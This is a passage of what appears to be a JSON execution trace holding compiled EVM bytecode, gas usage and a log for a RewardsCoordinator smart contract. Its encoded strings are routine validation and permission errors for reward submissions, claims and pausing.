0805162461bcd60e51b815260206004820152602481019190915260008051602061394d83398151915260448201527f7264735375626d697373696f6e3a206e6f207374726174656769657320736574606482015260840161089e565b6000816040013511611d6b5760405162461bcd60e51b8152602060048201526041602482015260008051602061394d83398151915260448201527f7264735375626d697373696f6e3a20616d6f756e742063616e6e6f74206265206064820152600360fc1b608482015260a40161089e565b6f4b3b4ca85a86c47a098a223fffffffff81604001351115611de35760405162461bcd60e51b815260206004820152603f602482015260008051602061394d83398151915260448201527f7264735375626d697373696f6e3a20616d6f756e7420746f6f206c6172676500606482015260840161089e565b63ffffffff7f00000000000000000000000000000000000000000000000000000000005c490016611e1a60a08301608084016132e5565b63ffffffff161115611e9f5760405162461bcd60e51b8152602060048201526054602482015260008051602061394d83398151915260448201527f7264735375626d697373696f6e3a206475726174696f6e20657863656564732060648201527326a0ac2fa922aba0a92229afa22aa920aa24a7a760611b608482015260a40161089e565b7f0000000000000000000000000000000000000000000000000000000000093a80611ed060a08301608084016132e5565b611eda919061384c565b63ffffffff1615611f7a5760405162461bcd60e51b815260206004820152606a602482015260008051602061394d83398151915260448201527f7264735375626d697373696f6e3a206475726174696f6e206d7573742062652060648201527f61206d756c7469706c65206f662043414c43554c4154494f4e5f494e54455256608482015269414c5f5345434f4e445360b01b60a482015260c40161089e565b7f0000000000000000000000000000000000000000000000000000000000093a80611fab60808301606084016132e5565b611fb5919061384c565b63ffffffff161561205b5760405162461bcd60e51b8152602060048201526070602482015260008051602061394d83398151915260448201527f7264735375626d697373696f6e3a20737461727454696d657374616d70206d7560648201527f73742062652061206d756c7469706c65206f662043414c43554c4154494f4e5f60848201526f494e54455256414c5f5345434f4e445360801b60a482015260c40161089e565b61206b60808201606083016132e5565b63ffffffff167f000000000000000000000000000000000000000000000000000000000076a70063ffffffff16426120a391906137cb565b111580156120ec57506120bc60808201606083016132e5565b63ffffffff167f0000000000000000000000000000000000000000000000000000000065fb788063ffffffff1611155b6121665760405162461bcd60e51b8152602060048201526051602482015260008051602061394d83398151915260448201527f7264735375626d697373696f6e3a20737461727454696d657374616d7020746f6064820152701bc819985c881a5b881d1a19481c185cdd607a1b608482015260a40161089e565b61219663ffffffff7f0000000000000000000000000000000000000000000000000000000000278d00164261370a565b6121a660808301606084016132e5565b63ffffffff16111561222a5760405162461bcd60e51b8152602060048201526053602482015260008051602061394d83398151915260448201527f7264735375626d697373696f6e3a20737461727454696d657374616d7020746f6064820152726f2066617220696e207468652066757475726560681b608482015260a40161089e565b6000805b6122388380613781565b905081101561245357600061224d8480613781565b8381811061225d5761225d613569565b61227392602060409092020190810191506130f0565b60405163198f077960e21b81526001600160a01b0380831660048301529192507f000000000000000000000000dc64a140aa3e981100a9beca4e685f962f0cf6c99091169063663c1de490602401602060405180830381865afa1580156122de573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906123029190613496565b8061232957506001600160a01b03811673beac0eeeeeeeeeeeeeeeeeeeeeeeeeeeeeebeac0145b61239c5760405162461bcd60e51b815260206004820152604a602482015260008051602061394d83398151915260448201527f7264735375626d697373696f6e3a20696e76616c69642073747261746567792060648201526918dbdb9cda59195c995960b21b608482015260a40161089e565b806001600160a01b0316836001600160a01b0316106124495760405162461bcd60e51b8152602060048201526069602482015260008051602061394d83398151915260448201527f7264735375626d697373696f6e3a2073747261746567696573206d757374206260648201527f6520696e20617363656e64696e67206f7264657220746f2068616e646c65206460848201526875706c69636174657360b81b60a482015260c40161089e565b915060010161222e565b505050565b6040516001600160a01b03808516602483015283166044820152606481018290526124c39085906323b872dd60e01b906084015b60408051601f198184030181529190526020810180516001600160e01b03166001600160e01b031990931692909217909152612aa5565b50505050565b806040015163ffffffff164210156125425760405162461bcd60e51b815260206004820152603660248201527f52657761726473436f6f7264696e61746f722e5f636865636b436c61696d3a206044820152751c9bdbdd081b9bdd081858dd1a5d985d1959081e595d60521b606482015260840161089e565b61254f60c0830183613730565b905061255e60a0840184613730565b9050146125e85760405162461bcd60e51b815260206004820152604c60248201527f52657761726473436f6f7264696e61746f722e5f636865636b436c61696d3a2060448201527f746f6b656e496e646963657320616e6420746f6b656e50726f6f6673206c656e60648201526b0cee8d040dad2e6dac2e8c6d60a31b608482015260a40161089e565b6125f560e0830183613781565b905061260460c0840184613730565b90501461268c5760405162461bcd60e51b815260206004820152604a60248201527f52657761726473436f6f7264696e61746f722e5f636865636b436c61696d3a2060448201527f746f6b656e5472656550726f6f667320616e64206c6561766573206c656e67746064820152690d040dad2e6dac2e8c6d60b31b608482015260a40161089e565b80516126b8906126a260408501602086016132e5565b6126af6040860186613874565b86606001612b77565b60005b6126c860a0840184613730565b90508110156124535761276260808401356126e660a0860186613730565b848181106126f6576126f6613569565b905060200201602081019061270b91906132e5565b61271860c0870187613730565b8581811061272857612728613569565b905060200281019061273a9190613874565b61274760e0890189613781565b8781811061275757612757613569565b905060400201612ceb565b6001016126bb565b6040516001600160a01b03831660248201526044810182905261245390849063a9059cbb60e01b9060640161248c565b60cb546040805163ffffffff600160a01b9093048316815291831660208301527faf557c6c02c208794817a705609cfa935f827312a1adfdd26494b6b95dd2b4b3910160405180910390a160cb805463ffffffff909216600160a01b0263ffffffff60a01b19909216919091179055565b603380546001600160a01b038381166001600160a01b0319831681179093556040519116919082907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a35050565b60cb546040516001600160a01b038084169216907f237b82f438d75fc568ebab484b75b01d9287b9e98b490b7c23221623b6705dbb90600090a360cb80546001600160a01b0319166001600160a01b0392909216919091179055565b604080518082018252600a81526922b4b3b2b72630bcb2b960b11b60209182015281517f8cad95687ba82c2ce50e74f7b754645e5117c3a5bec8151c0726d5857980a866818301527f71b625cfad44bac63b13dba07f2e1d6084ee04b6f8752101ece6126d584ee6ea81840152466060820152306080808301919091528351808303909101815260a0909101909252815191012090565b6065546001600160a01b031615801561297157506001600160a01b03821615155b6129f35760405162461bcd60e51b815260206004820152604760248201527f5061757361626c652e5f696e697469616c697a655061757365723a205f696e6960448201527f7469616c697a6550617573657228292063616e206f6e6c792062652063616c6c6064820152666564206f6e636560c81b608482015260a40161089e565b606681905560405181815233907fab40a374bc51de372200a8bc981af8c9ecdc08dfdaef0bb6e09f88f3c616ef3d9060200160405180910390a2612a3682611b91565b5050565b60cb546040805161ffff600160e01b9093048316815291831660208301527f8cdc428b0431b82d1619763f443a48197db344ba96905f3949643acd1c863a06910160405180910390a160cb805461ffff909216600160e01b0261ffff60e01b19909216919091179055565b6000612afa826040518060400160405280602081526020017f5361666545524332303a206c6f772d6c6576656c2063616c6c206661696c6564815250856001600160a01b0316612e3c9092919063ffffffff16565b8051909150156124535780806020019051810190612b189190613496565b6124535760405162461bcd60e51b815260206004820152602a60248201527f5361666545524332303a204552433230206f7065726174696f6e20646964206e6044820152691bdd081cdd58d8d9595960b21b606482015260840161089e565b612b826020836138bb565b6001901b8463ffffffff1610612c0c5760405162461bcd60e51b815260206004820152604360248201527f52657761726473436f6f7264696e61746f722e5f7665726966794561726e657260448201527f436c61696d50726f6f663a20696e76616c6964206561726e65724c656166496e6064820152620c8caf60eb1b608482015260a40161089e565b6000612c17826109f2565b9050612c6284848080601f0160208091040260200160405190810160405280939291908181526020018383808284376000920191909152508a92508591505063ffffffff8916612e53565b612ce35760405162461bcd60e51b815260206004820152604660248201527f52657761726473436f6f7264696e61746f722e5f7665726966794561726e657260448201527f436c61696d50726f6f663a20696e76616c6964206561726e657220636c61696d60648201526510383937b7b360d11b608482015260a40161089e565b505050505050565b612cf66020836138bb565b6001901b8463ffffffff1610612d745760405162461bcd60e51b815260206004820152603c60248201527f52657761726473436f6f7264696e61746f722e5f766572696679546f6b656e4360448201527f6c61696d3a20696e76616c696420746f6b656e4c656166496e64657800000000606482015260840161089e565b6000612d7f82611858565b9050612dca84848080601f0160208091040260200160405190810160405280939291908181526020018383808284376000920191909152508a92508591505063ffffffff8916612e53565b612ce35760405162461bcd60e51b815260206004820152603f60248201527f52657761726473436f6f7264696e61746f722e5f766572696679546f6b656e4360448201527f6c61696d3a20696e76616c696420746f6b656e20636c61696d2070726f6f6600606482015260840161089e565b6060612e4b8484600085612e6b565b949350505050565b600083612e61868585612f9c565b1495945050505050565b606082471015612ecc5760405162461bcd60e51b815260206004820152602660248201527f416464726573733a20696e73756666696369656e742062616c616e636520666f6044820152651c8818d85b1b60d21b606482015260840161089e565b6001600160a01b0385163b612f235760405162461bcd60e51b815260206004820152601d60248201527f416464726573733a2063616c6c20746f206e6f6e2d636f6e7472616374000000604482015260640161089e565b600080866001600160a01b03168587604051612f3f91906138f3565b60006040518083038185875af1925050503d8060008114612f7c576040519150601f19603f3d011682016040523d82523d6000602084013e612f81565b606091505b5091509150612f918282866130a2565b979650505050505050565b600060208451612fac9190613905565b156130335760405162461bcd60e51b815260206004820152604b60248201527f4d65726b6c652e70726f63657373496e636c7573696f6e50726f6f664b65636360448201527f616b3a2070726f6f66206c656e6774682073686f756c642062652061206d756c60648201526a3a34b836329037b310199960a91b608482015260a40161089e565b8260205b855181116130995761304a600285613905565b60000361306e57816000528086015160205260406000209150600284049350613087565b8086015160005281602052604060002091506002840493505b61309260208261370a565b9050613037565b50949350505050565b606083156130b157508161171d565b8251156130c15782518084602001fd5b8160405162461bcd60e51b815260040161089e9190613919565b6001600160a01b03811681146108b057600080fd5b60006020828403121561310257600080fd5b813561171d816130db565b80151581146108b057600080fd5b6000806040838503121561312e57600080fd5b8235613139816130db565b915060208301356131498161310d565b809150509250929050565b60006020828403121561316657600080fd5b5035919050565b60006040828403121561317f57600080fd5b50919050565b60006040828403121561319757600080fd5b61171d838361316d565b600080604083850312156131b457600080fd5b82356131bf816130db565b91506020830135613149816130db565b600080602083850312156131e257600080fd5b823567ffffffffffffffff8111156131f957600080fd5b8301601f8101851361320a57600080fd5b803567ffffffffffffffff81111561322157600080fd5b8560208260051b840101111561323657600080fd5b6020919091019590945092505050565b6000610100828403121561317f57600080fd5b6000806040838503121561326c57600080fd5b823567ffffffffffffffff81111561328357600080fd5b61328f85828601613246565b9250506020830135613149816130db565b803563ffffffff811681146132b457600080fd5b919050565b600080604083850312156132cc57600080fd5b823591506132dc602084016132a0565b90509250929050565b6000602082840312156132f757600080fd5b61171d826132a0565b60006020828403121561331257600080fd5b813560ff8116811461171d57600080fd5b60006020828403121561333557600080fd5b813567ffffffffffffffff81111561334c57600080fd5b612e4b84828501613246565b6000806040838503121561336b57600080fd5b8235613376816130db565b946020939093013593505050565b80356132b4816130db565b803561ffff811681146132b457600080fd5b60008060008060008060c087890312156133ba57600080fd5b86356133c5816130db565b955060208701356133d5816130db565b94506040870135935060608701356133ec816130db565b92506133fa608088016132a0565b915061340860a0880161338f565b90509295509295509295565b60006020828403121561342657600080fd5b61171d8261338f565b60006020828403121561344157600080fd5b815161171d816130db565b6020808252602a908201527f6d73672e73656e646572206973206e6f74207065726d697373696f6e6564206160408201526939903ab73830bab9b2b960b11b606082015260800190565b6000602082840312156134a857600080fd5b815161171d8161310d565b60208082526028908201527f6d73672e73656e646572206973206e6f74207065726d697373696f6e6564206160408201526739903830bab9b2b960c11b606082015260800190565b60208082526019908201527f5061757361626c653a20696e6465782069732070617573656400000000000000604082015260600190565b6020808252601f908201527f5265656e7472616e637947756172643a207265656e7472616e742063616c6c00604082015260600190565b634e487b7160e01b600052603260045260246000fd5b60008235609e1983360301811261359557600080fd5b9190910192915050565b81835260208301925060008160005b848110156136055781356135c1816130db565b6001600160a01b0316865260208201356bffffffffffffffffffffffff81168082146135ec57600080fd5b60208801525060409586019591909101906001016135ae565b5093949350505050565b60008135601e1983360301811261362557600080fd5b820160208101903567ffffffffffffffff81111561364257600080fd5b8060061b360382131561365457600080fd5b60a0855261366660a08601828461359f565b91505061367560208401613384565b6001600160a01b0316602085015260408381013590850152613699606084016132a0565b63ffffffff1660608501526136b0608084016132a0565b63ffffffff81166080860152509392505050565b60018060a01b03841681528260208201526060604082015260006136eb606083018461360f565b95945050505050565b634e487b7160e01b600052601160045260246000fd5b80820180821115610a7757610a776136f4565b60208152600061171d602083018461360f565b6000808335601e1984360301811261374757600080fd5b83018035915067ffffffffffffffff82111561376257600080fd5b6020019150600581901b360382131561377a57600080fd5b9250929050565b6000808335601e1984360301811261379857600080fd5b83018035915067ffffffffffffffff8211156137b357600080fd5b6020019150600681901b360382131561377a57600080fd5b81810381811115610a7757610a776136f4565b63ffffffff8181168382160190811115610a7757610a776136f4565b63ffffffff8281168282160390811115610a7757610a776136f4565b600063ffffffff82168061382c5761382c6136f4565b6000190192915050565b634e487b7160e01b600052601260045260246000fd5b600063ffffffff83168061386257613862613836565b8063ffffffff84160691505092915050565b6000808335601e1984360301811261388b57600080fd5b83018035915067ffffffffffffffff8211156138a657600080fd5b60200191503681900382131561377a57600080fd5b6000826138ca576138ca613836565b500490565b60005b838110156138ea5781810151838201526020016138d2565b50506000910152565b600082516135958184602087016138cf565b60008261391457613914613836565b500690565b60208152600082518060208401526139388160408501602087016138cf565b601f01601f1916919091016040019291505056fe52657761726473436f6f7264696e61746f722e5f76616c696461746552657761a2646970667358221220a36edf2d3dce7bfba092e6a7f8c98bee38b143e8f924a4f463353379f1a9adae64736f6c634300081b0033","gas_used":2978924,"gas_limit":3961002,"status":"Return","steps":[],"decoded":{"label":null,"return_data":null,"call_data":null}},"logs":[{"raw_log":{"topics":["0x7f26b83ff96e1f2b6a682f133852f6798a09c465da95921460cefb3847402498"],"data":"0x00000000000000000000000000000000000000000000000000000000000000ff"},"decoded":{"name":null,"params":null},"position":0}],"ordering":[{"Log":0}]}],"exit":"Return","out":"0x608060405234801561001057600080fd5b50600436106102895760003560e01c80636d21117e1161015c578063bf21a8aa116100ce578063f2fde38b11610087578063f2fde38b1461070e578063f698da2514610721578063f8cd844814610729578063fabc1cbc1461073c578063fbf1e2c11461074f578063fce36c7d1461076257600080fd5b8063bf21a8aa14610659578063c46db60614610680578063d4540a55146106ae578063e221b245146106c1578063e810ce21146106d4578063ea4d3c9b146106e757600080fd5b8063886f119511610120578063886f1195146105c05780638da5cb5b146105d35780639104c319146105e45780639d45c281146105ff578063a0169ddd14610626578063bb7e451f1461063957600080fd5b80636d21117e14610544578063715018a6146105725780637b8f8b051461057a578063863cb9a914610582578063865c69531461059557600080fd5b806337838ed01161020057806358baaa3e116101b957806358baaa3e146104b6578063595c6a67146104c95780635971b3f8146104d15780635ac86ab7146105065780635c975abb146105295780635e9d83481461053157600080fd5b806337838ed01461041457806339b70e381461043b5780633a8c0786146104625780633ccc861d146104795780633efe1db61461048c5780634d18cc351461049f57600080fd5b8063131433b411610252578063131433b414610352578063136439dd14610379578063149bc8721461038c57806322f19a64146103ad5780632b9f64a4146103c057806336af41fa1461040157600080fd5b806218572c1461028e57806304a0c502146102c6578063092db007146103025780630eb383451461032a57806310d67a2f1461033f575b600080fd5b6102b161029c3660046130f0565b60d16020526000908152604090205460ff1681565b60405190151581526020015b60405180910390f35b6102ed7f0000000000000000000000000000000000000000000000000000000000278d0081565b60405163ffffffff90911681526020016102bd565b60cb5461031790600160e01b900461ffff1681565b60405161ffff90911681526020016102bd565b61033d61033836600461311b565b610775565b005b61033d61034d3660046130f0565b6107f7565b6102ed7f0000000000000000000000000000000000000000000000000000000065fb788081565b61033d610387366004613154565b6108b3565b61039f61039a366004613185565b6109f2565b6040519081526020016102bd565b6103176103bb3660046131a1565b610a68565b6103e96103ce3660046130f0565b60cc602052600090815260409020546001600160a01b031681565b6040516001600160a01b0390911681526020016102bd565b61033d61040f3660046131cf565b610a7d565b6102ed7f000000000000000000000000000000000000000000000000000000000076a70081565b6103e97f000000000000000000000000dc64a140aa3e981100a9beca4e685f962f0cf6c981565b60cb546102ed90600160a01b900463ffffffff1681565b61033d610487366004613259565b610caa565b61033d61049a3660046132b9565b611052565b60cb546102ed90600160c01b900463ffffffff1681565b61033d6104c43660046132e5565b611351565b61033d611362565b6104e46104df366004613154565b611429565b6040805193845263ffffffff92831660208501529116908201526060016102bd565b6102b1610514366004613300565b606654600160ff9092169190911b9081161490565b60665461039f565b6102b161053f366004613323565b611469565b6102b1610552366004613358565b60cf60209081526000928352604080842090915290825290205460ff1681565b61033d6114e7565b60ca5461039f565b61033d6105903660046130f0565b6114fb565b61039f6105a33660046131a1565b60cd60209081526000928352604080842090915290825290205481565b6065546103e9906001600160a01b031681565b6033546001600160a01b03166103e9565b6103e973beac0eeeeeeeeeeeeeeeeeeeeeeeeeeeeeebeac081565b6102ed7f0000000000000000000000000000000000000000000000000000000000093a8081565b61033d6106343660046130f0565b61150c565b61039f6106473660046130f0565b60ce6020526000908152604090205481565b6102ed7f00000000000000000000000000000000000000000000000000000000005c490081565b6102b161068e366004613358565b60d060209081526000928352604080842090915290825290205460ff1681565b61033d6106bc3660046133a1565b61156b565b61033d6106cf366004613414565b6116b3565b6102ed6106e2366004613154565b6116c4565b6103e97f000000000000000000000000cf7ed3acca5a467e9e704c703e8d87f634fb0fc981565b61033d61071c3660046130f0565b6117a5565b61039f61181b565b61039f610737366004613185565b611858565b61033d61074a366004613154565b611869565b60cb546103e9906001600160a01b031681565b61033d6107703660046131cf565b6119c5565b61077d611b37565b6001600160a01b038216600081815260d1602052604080822054905160ff9091169284151592841515927f4de6293e668df1398422e1def12118052c1539a03cbfedc145895d48d7685f1c9190a4506001600160a01b0391909116600090815260d160205260409020805460ff1916911515919091179055565b606560009054906101000a90046001600160a01b03166001600160a01b031663eab66d7a6040518163ffffffff1660e01b8152600401602060405180830381865afa15801561084a573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061086e919061342f565b6001600160a01b0316336001600160a01b0316146108a75760405162461bcd60e51b815260040161089e9061344c565b60405180910390fd5b6108b081611b91565b50565b60655460405163237dfb4760e11b81523360048201526001600160a01b03909116906346fbf68e90602401602060405180830381865afa1580156108fb573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061091f9190613496565b61093b5760405162461bcd60e51b815260040161089e906134b3565b606654818116146109b45760405162461bcd60e51b815260206004820152603860248201527f5061757361626c652e70617573653a20696e76616c696420617474656d70742060448201527f746f20756e70617573652066756e6374696f6e616c6974790000000000000000606482015260840161089e565b606681905560405181815233907fab40a374bc51de372200a8bc981af8c9ecdc08dfdaef0bb6e09f88f3c616ef3d906020015b60405180910390a250565b600080610a0260208401846130f0565b8360200135604051602001610a4b9392919060f89390931b6001600160f81b031916835260609190911b6bffffffffffffffffffffffff19166001830152601582015260350190565b604051602081830303815290604052805190602001209050919050565b60cb54600160e01b900461ffff165b92915050565b606654600190600290811603610aa55760405162461bcd60e51b815260040161089e906134fb565b33600090815260d1602052604090205460ff16610b445760405162461bcd60e51b815260206004820152605160248201527f52657761726473436f6f7264696e61746f723a2063616c6c6572206973206e6f60448201527f7420612076616c69642063726561746552657761726473466f72416c6c53756260648201527036b4b9b9b4b7b71039bab136b4ba3a32b960791b608482015260a40161089e565b600260975403610b665760405162461bcd60e51b815260040161089e90613532565b600260975560005b82811015610c9f5736848483818110610b8957610b89613569565b9050602002810190610b9b919061357f565b33600081815260ce60209081526040808320549051949550939192610bc692909185918791016136c4565b604051602081830303815290604052805190602001209050610be783611c88565b33600090815260d0602090815260408083208484529091529020805460ff19166001908117909155610c1a90839061370a565b33600081815260ce602052604090819020929092559051829184917f51088b8c89628df3a8174002c2a034d0152fce6af8415d651b2a4734bf27048290610c6290889061371d565b60405180910390a4610c94333060408601803590610c8390602089016130f0565b6001600160a01b0316929190612458565b505050600101610b6e565b505060016097555050565b606654600290600490811603610cd25760405162461bcd60e51b815260040161089e906134fb565b600260975403610cf45760405162461bcd60e51b815260040161089e90613532565b6002609755600060ca610d0a60208601866132e5565b63ffffffff1681548110610d2057610d20613569565b6000918252602091829020604080516060810182526002909302909101805483526001015463ffffffff808216948401949094526401000000009004909216918101919091529050610d7284826124c9565b6000610d8460808601606087016130f0565b6001600160a01b03808216600090815260cc60205260409020549192501680610daa5750805b336001600160a01b03821614610e285760405162461bcd60e51b815260206004820152603c60248201527f52657761726473436f6f7264696e61746f722e70726f63657373436c61696d3a60448201527f2063616c6c6572206973206e6f742076616c696420636c61696d657200000000606482015260840161089e565b60005b610e3860a0880188613730565b90508110156110445736610e4f60e0890189613781565b83818110610e5f57610e5f613569565b6001600160a01b038716600090815260cd602090815260408083209302949094019450929091508290610e94908501856130f0565b6001600160a01b03166001600160a01b0316815260200190815260200160002054905080826020013511610f4e5760405162461bcd60e51b815260206004820152605560248201527f52657761726473436f6f7264696e61746f722e70726f63657373436c61696d3a60448201527f2063756d756c61746976654561726e696e6773206d75737420626520677420746064820152741a185b8818dd5b5d5b185d1a5d9950db185a5b5959605a1b608482015260a40161089e565b6000610f5e8260208501356137cb565b6001600160a01b038716600090815260cd60209081526040822092935085018035929190610f8c90876130f0565b6001600160a01b0316815260208082019290925260400160002091909155610fce908a908390610fbe908701876130f0565b6001600160a01b0316919061276a565b86516001600160a01b03808b1691878216918916907f9543dbd55580842586a951f0386e24d68a5df99ae29e3b216588b45fd684ce319061101260208901896130f0565b604080519283526001600160a01b039091166020830152810186905260600160405180910390a4505050600101610e2b565b505060016097555050505050565b60665460039060089081160361107a5760405162461bcd60e51b815260040161089e906134fb565b60cb546001600160a01b031633146110f15760405162461bcd60e51b815260206004820152603460248201527f52657761726473436f6f7264696e61746f723a2063616c6c6572206973206e6f6044820152733a103a3432903932bbb0b93239aab83230ba32b960611b606482015260840161089e565b60cb5463ffffffff600160c01b90910481169083161161118d5760405162461bcd60e51b815260206004820152604b60248201527f52657761726473436f6f7264696e61746f722e7375626d6974526f6f743a206e60448201527f657720726f6f74206d75737420626520666f72206e657765722063616c63756c60648201526a185d1959081c195c9a5bd960aa1b608482015260a40161089e565b428263ffffffff16106112265760405162461bcd60e51b815260206004820152605560248201527f52657761726473436f6f7264696e61746f722e7375626d6974526f6f743a207260448201527f65776172647343616c63756c6174696f6e456e6454696d657374616d702063616064820152746e6e6f7420626520696e207468652066757475726560581b608482015260a40161089e565b60ca5460cb5460009061124690600160a01b900463ffffffff16426137de565b6040805160608101825287815263ffffffff878116602080840182815286841685870181815260ca805460018101825560009190915296517f42d72674974f694b5f5159593243114d38a5c39c89d6b62fee061ff523240ee160029098029788015591517f42d72674974f694b5f5159593243114d38a5c39c89d6b62fee061ff523240ee29096018054925196861667ffffffffffffffff19909316929092176401000000009686169690960295909517905560cb805463ffffffff60c01b1916600160c01b840217905593519283529394508892908616917fecd866c3c158fa00bf34d803d5f6023000b57080bcb48af004c2b4b46b3afd08910160405180910390a45050505050565b611359611b37565b6108b08161279a565b60655460405163237dfb4760e11b81523360048201526001600160a01b03909116906346fbf68e90602401602060405180830381865afa1580156113aa573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906113ce9190613496565b6113ea5760405162461bcd60e51b815260040161089e906134b3565b600019606681905560405190815233907fab40a374bc51de372200a8bc981af8c9ecdc08dfdaef0bb6e09f88f3c616ef3d9060200160405180910390a2565b60ca818154811061143957600080fd5b60009182526020909120600290910201805460019091015490915063ffffffff8082169164010000000090041683565b60006114df8260ca61147e60208301836132e5565b63ffffffff168154811061149457611494613569565b6000918252602091829020604080516060810182526002909302909101805483526001015463ffffffff808216948401949094526401000000009004909216918101919091526124c9565b506001919050565b6114ef611b37565b6114f9600061280b565b565b611503611b37565b6108b08161285d565b33600081815260cc602052604080822080546001600160a01b031981166001600160a01b038781169182179093559251911692839185917fbab947934d42e0ad206f25c9cab18b5bb6ae144acfb00f40b4e3aa59590ca31291a4505050565b600054610100900460ff161580801561158b5750600054600160ff909116105b806115a55750303b1580156115a5575060005460ff166001145b6116085760405162461bcd60e51b815260206004820152602e60248201527f496e697469616c697a61626c653a20636f6e747261637420697320616c72656160448201526d191e481a5b9a5d1a585b1a5e995960921b606482015260840161089e565b6000805460ff19166001179055801561162b576000805461ff0019166101001790555b6116336128b9565b60c9556116408686612950565b6116498761280b565b6116528461285d565b61165b8361279a565b61166482612a3a565b80156116aa576000805461ff0019169055604051600181527f7f26b83ff96e1f2b6a682f133852f6798a09c465da95921460cefb38474024989060200160405180910390a15b50505050505050565b6116bb611b37565b6108b081612a3a565b60ca546000905b63ffffffff811615611736578260ca6116e56001846137fa565b63ffffffff16815481106116fb576116fb613569565b906000526020600020906002020160000154036117245761171d6001826137fa565b9392505050565b8061172e81613816565b9150506116cb565b5060405162461bcd60e51b815260206004820152603760248201527f52657761726473436f6f7264696e61746f722e676574526f6f74496e6465784660448201527f726f6d486173683a20726f6f74206e6f7420666f756e64000000000000000000606482015260840161089e565b6117ad611b37565b6001600160a01b0381166118125760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b606482015260840161089e565b6108b08161280b565b60007f0000000000000000000000000000000000000000000000000000000000007a69460361184b575060c95490565b6118536128b9565b905090565b60006001610a0260208401846130f0565b606560009054906101000a90046001600160a01b03166001600160a01b031663eab66d7a6040518163ffffffff1660e01b8152600401602060405180830381865afa1580156118bc573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906118e0919061342f565b6001600160a01b0316336001600160a01b0316146119105760405162461bcd60e51b815260040161089e9061344c565b60665419811960665419161461198e5760405162461bcd60e51b815260206004820152603860248201527f5061757361626c652e756e70617573653a20696e76616c696420617474656d7060448201527f7420746f2070617573652066756e6374696f6e616c6974790000000000000000606482015260840161089e565b606681905560405181815233907f3582d1828e26bf56bd801502bc021ac0bc8afb57c826e4986b45593c8fad389c906020016109e7565b6066546000906001908116036119ed5760405162461bcd60e51b815260040161089e906134fb565b600260975403611a0f5760405162461bcd60e51b815260040161089e90613532565b600260975560005b82811015610c9f5736848483818110611a3257611a32613569565b9050602002810190611a44919061357f565b33600081815260ce60209081526040808320549051949550939192611a6f92909185918791016136c4565b604051602081830303815290604052805190602001209050611a9083611c88565b33600090815260cf602090815260408083208484529091529020805460ff19166001908117909155611ac390839061370a565b33600081815260ce602052604090819020929092559051829184917f450a367a380c4e339e5ae7340c8464ef27af7781ad9945cfe8abd828f89e628190611b0b90889061371d565b60405180910390a4611b2c333060408601803590610c8390602089016130f0565b505050600101611a17565b6033546001600160a01b031633146114f95760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604482015260640161089e565b6001600160a01b038116611c1f5760405162461bcd60e51b815260206004820152604960248201527f5061757361626c652e5f73657450617573657252656769737472793a206e657760448201527f50617573657252656769737472792063616e6e6f7420626520746865207a65726064820152686f206164647265737360b81b608482015260a40161089e565b606554604080516001600160a01b03928316815291831660208301527f6e9fcd539896fca60e8b0f01dd580233e48a6b0f7df013b89ba7f565869acdb6910160405180910390a1606580546001600160a01b0319166001600160a01b0392909216919091179055565b6000611c948280613781565b905011611cf9576040805162461bcd60e51b815260206004820152602481019190915260008051602061394d83398151915260448201527f7264735375626d697373696f6e3a206e6f207374726174656769657320736574606482015260840161089e565b6000816040013511611d6b5760405162461bcd60e51b8152602060048201526041602482015260008051602061394d83398151915260448201527f7264735375626d697373696f6e3a20616d6f756e742063616e6e6f74206265206064820152600360fc1b608482015260a40161089e565b6f4b3b4ca85a86c47a098a223fffffffff81604001351115611de35760405162461bcd60e51b815260206004820152603f602482015260008051602061394d83398151915260448201527f7264735375626d697373696f6e3a20616d6f756e7420746f6f206c6172676500606482015260840161089e565b63ffffffff7f00000000000000000000000000000000000000000000000000000000005c490016611e1a60a08301608084016132e5565b63ffffffff161115611e9f5760405162461bcd60e51b8152602060048201526054602482015260008051602061394d83398151915260448201527f7264735375626d697373696f6e3a206475726174696f6e20657863656564732060648201527326a0ac2fa922aba0a92229afa22aa920aa24a7a760611b608482015260a40161089e565b7f0000000000000000000000000000000000000000000000000000000000093a80611ed060a08301608084016132e5565b611eda919061384c565b63ffffffff1615611f7a5760405162461bcd60e51b815260206004820152606a602482015260008051602061394d83398151915260448201527f7264735375626d697373696f6e3a206475726174696f6e206d7573742062652060648201527f61206d756c7469706c65206f662043414c43554c4154494f4e5f494e54455256608482015269414c5f5345434f4e445360b01b60a482015260c40161089e565b7f0000000000000000000000000000000000000000000000000000000000093a80611fab60808301606084016132e5565b611fb5919061384c565b63ffffffff161561205b5760405162461bcd60e51b8152602060048201526070602482015260008051602061394d83398151915260448201527f7264735375626d697373696f6e3a20737461727454696d657374616d70206d7560648201527f73742062652061206d756c7469706c65206f662043414c43554c4154494f4e5f60848201526f494e54455256414c5f5345434f4e445360801b60a482015260c40161089e565b61206b60808201606083016132e5565b63ffffffff167f000000000000000000000000000000000000000000000000000000000076a70063ffffffff16426120a391906137cb565b111580156120ec57506120bc60808201606083016132e5565b63ffffffff167f0000000000000000000000000000000000000000000000000000000065fb788063ffffffff1611155b6121665760405162461bcd60e51b8152602060048201526051602482015260008051602061394d83398151915260448201527f7264735375626d697373696f6e3a20737461727454696d657374616d7020746f6064820152701bc819985c881a5b881d1a19481c185cdd607a1b608482015260a40161089e565b61219663ffffffff7f0000000000000000000000000000000000000000000000000000000000278d00164261370a565b6121a660808301606084016132e5565b63ffffffff16111561222a5760405162461bcd60e51b8152602060048201526053602482015260008051602061394d83398151915260448201527f7264735375626d697373696f6e3a20737461727454696d657374616d7020746f6064820152726f2066617220696e207468652066757475726560681b608482015260a40161089e565b6000805b6122388380613781565b905081101561245357600061224d8480613781565b8381811061225d5761225d613569565b61227392602060409092020190810191506130f0565b60405163198f077960e21b81526001600160a01b0380831660048301529192507f000000000000000000000000dc64a140aa3e981100a9beca4e685f962f0cf6c99091169063663c1de490602401602060405180830381865afa1580156122de573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906123029190613496565b8061232957506001600160a01b03811673beac0eeeeeeeeeeeeeeeeeeeeeeeeeeeeeebeac0145b61239c5760405162461